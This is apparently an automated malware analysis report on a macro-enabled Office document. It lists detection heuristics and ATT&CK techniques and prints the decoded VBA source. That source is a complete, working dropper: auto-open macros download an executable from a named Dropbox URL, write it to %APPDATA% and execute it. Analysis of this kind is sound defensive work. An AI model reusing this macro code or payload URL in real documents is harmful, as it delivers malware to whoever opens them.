MALICIOUS
386
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample is a Microsoft Office document containing VBA macros. The Auto_Open macro utilizes WScript.Shell to download an executable from 'https://dl.dropboxusercontent.com/s/6btbqplvqinwqp6/grhgg5567785566.exe' and saves it to '%APPDATA%\QZICBWZCUAN\SQHJRFRZOXO.com', then attempts to execute it. This behavior is consistent with a macro-based dropper.
Heuristics 13
-
ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
-
VBA macros detected medium 7 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set KAPSEZCMTQY = CreateObject("WScript.Shell") -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
.write VSSCWLASWID.responseBody -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set KAPSEZCMTQY = CreateObject("WScript.Shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Macro/content-enable lure medium SE_ENABLE_LUREDocument instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
- https://dl.dropboxusercontent.com/s/6btbqplvqinwqp6/grhgg5567785566.exeReferenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2130 bytes |
SHA-256: 34d82ba823de1ffcac62780058afed00a5e96112c438e0c0954918fa17757a5b |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Auto_Open()
SEJVSYNAUFP
End Sub
Sub SEJVSYNAUFP()
Set KAPSEZCMTQY = CreateObject("WScript.Shell")
PUDQBBGWPPK = KAPSEZCMTQY.ExpandEnvironmentStrings("%APPDATA%")
Dim BHKALMZQZLY: BHKALMZQZLY = PUDQBBGWPPK & "\QZICBWZCUAN"
Set HOAAMSEEGYQ = CreateObject("Scripting.FileSystemObject")
If (HOAAMSEEGYQ.FolderExists(BHKALMZQZLY)) Then
Else
Set oHOAAMSEEGYQ = CreateObject("Scripting.FileSystemObject")
oHOAAMSEEGYQ.CreateFolder BHKALMZQZLY
End If
Dim MUIBLLSFGBG: Set MUIBLLSFGBG = CreateObject("Adodb.Stream")
Dim VSSCWLASWID: Set VSSCWLASWID = CreateObject("Microsoft.XMLHTTP")
VSSCWLASWID.Open "GET", "https://dl.dropboxusercontent.com/s/6btbqplvqinwqp6/grhgg5567785566.exe", False
VSSCWLASWID.Send
With MUIBLLSFGBG
.Type = 1
.Open
.write VSSCWLASWID.responseBody
.savetofile PUDQBBGWPPK & "\QZICBWZCUAN\SQHJRFRZOXO.com", 2
End With
Call ZJEAMSLIQCI(BHKALMZQZLY)
End Sub
Function ZJEAMSLIQCI(PRSXSSSMNDR)
Dim HOAAMSEEGYQ, UPORBXMUYPZ, AAGNDMJAKZV, GMOQAPNRKIL, JOPLUROWWET, HOZUYORVGOQ
Dim YICDLWXHGER
Set YICDLWXHGER = CreateObject("WScript.Shell")
JOPLUROWWET = ""
Set HOAAMSEEGYQ = CreateObject("Scripting.FileSystemObject")
If (HOAAMSEEGYQ.FolderExists(PRSXSSSMNDR)) Then
Set UPORBXMUYPZ = HOAAMSEEGYQ.GetFolder(PRSXSSSMNDR)
Set AAGNDMJAKZV = UPORBXMUYPZ.Files
For Each GMOQAPNRKIL In AAGNDMJAKZV
Dim NEARGQZZPCW
NEARGQZZPCW = PRSXSSSMNDR & "\" & GMOQAPNRKIL.Name
YICDLWXHGER.Run Chr(34) & NEARGQZZPCW & Chr(34), 1, True
Next
Set GMOQAPNRKIL = Nothing
Set AAGNDMJAKZV = Nothing
Set UPORBXMUYPZ = Nothing
End If
Set HOAAMSEEGYQ = Nothing
End Function
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.